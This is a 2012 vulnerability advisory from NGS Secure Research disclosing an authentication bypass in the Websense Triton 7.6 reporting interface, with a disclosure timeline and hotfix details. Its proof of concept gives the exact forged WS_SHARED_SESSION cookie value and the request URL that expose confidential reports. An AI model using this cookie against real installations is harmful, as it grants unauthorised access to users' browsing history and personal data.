Websense (Triton 7.6) Authentication Bypass

`=======  
Summary  
=======  
Name: Websense (Triton 7.6) Authentication-bypass in report management UI   
Release Date: 30 April 2012  
Reference: NGS00138  
Discoverer: Ben Williams <[email protected]>  
Vendor: Websense  
Vendor Reference:   
Systems Affected:   
Risk: High  
Status: Published  
  
========  
TimeLine  
========  
Discovered: 25 October 2011  
Released: 2 November 2011  
Approved: 2 November 2011  
Reported: 2 November 2011  
Fixed: 2 December 2011  
Published: 30 April 2012  
  
===========  
Description  
===========  
Websense (Triton 7.6) Authentication-bypass in report management UI  
  
Websense is one of the world's best known web-filter products.  
  
Websense (Triton 7.6) Authentication-bypass in the report management UI enabling unauthenticated access to confidential reports.  
  
=================  
Technical Details  
=================  
I. VULNERABILITY  
-------------------------  
Websense (Triton 7.6) Authentication-bypass in report management UI  
  
II. BACKGROUND  
-------------------------  
Websense is one of the world's best known web-filter products.  
  
The "Triton" administrative UI allows administration of multiple Websense solutions, including their Email, Web, and DLP products  
  
http://www.websense.com/  
  
III. DESCRIPTION  
-------------------------  
Websense (Triton 7.6) is prone to Authentication-bypass in the report management UI enabling unauthenticated access to confidential reports.  
  
IV. PROOF OF CONCEPT  
-------------------------  
Affected URL: Multiple, but the main index is as follows: (dates need to be adjusted to be valid)  
  
https://192.168.1.67:9443/explorer_wse/favorites.exe?startDate=2011-10-22&endDate=2011-10-23&action=def  
  
It is possible to gain access to the report section without authentication, by adding a cookie with predefined values.  
(This can be done with Cookie-Manager, or various other IE/Firefox plugins which can be used to edit browser cookies)  
  
This gives full access to the report section of the user interface (but not the policy-management section).  
  
The Websense reports contain confidential information such as user data, browsing history, system information, and blocked threats.  
  
Here is the cookie to add:  
  
Domain = 192.168.1.67  
Name = WS_SHARED_SESSION  
Value = "{uid=YWRtaW4=,  
userRoles=664332B2D4D7ECEBBC6DC1FA92D160BFDC102E4B2F8CC983B712A0D24B631F5CF029F7967E8C92C3F7193EABE67F652A,  
domain=192.168.1.67}";  
  
(set an expiry date a good while in the future)  
  
... and then browse the following URL to get the reports:  
  
https://192.168.1.67:9443/explorer_wse/favorites.exe?startDate=2011-10-22&endDate=2011-10-23&action=def  
  
(dates in the URL need to be adjusted to be valid)  
  
The only component of the cookie which looks anything like a session token is shown below. This never seems to change, and was the same on 2 separate installations of the product, which leads me to believe that this is predefined "admin role" information.   
  
userRoles=664332B2D4D7ECEBBC6DC1FA92D160BFDC102E4B2F8CC983B712A0D24B631F5CF029F7967E8C92C3F7193EABE67F652A  
  
The "uid" is simply a base64 encoded "admin". Other cookies are set based on this value, but it does not seem to need to be "admin" or any existing user to access the reports (this uid does seem to be used when accessing "favorite" reports)  
  
===============  
Fix Information  
===============  
This issue is addressed in Hotfix 24, which can be downloaded at:  
https://www.websense.com/content/mywebsense-hotfixes.aspx  
  
NGS Secure Research  
http://www.ngssecure.com  
`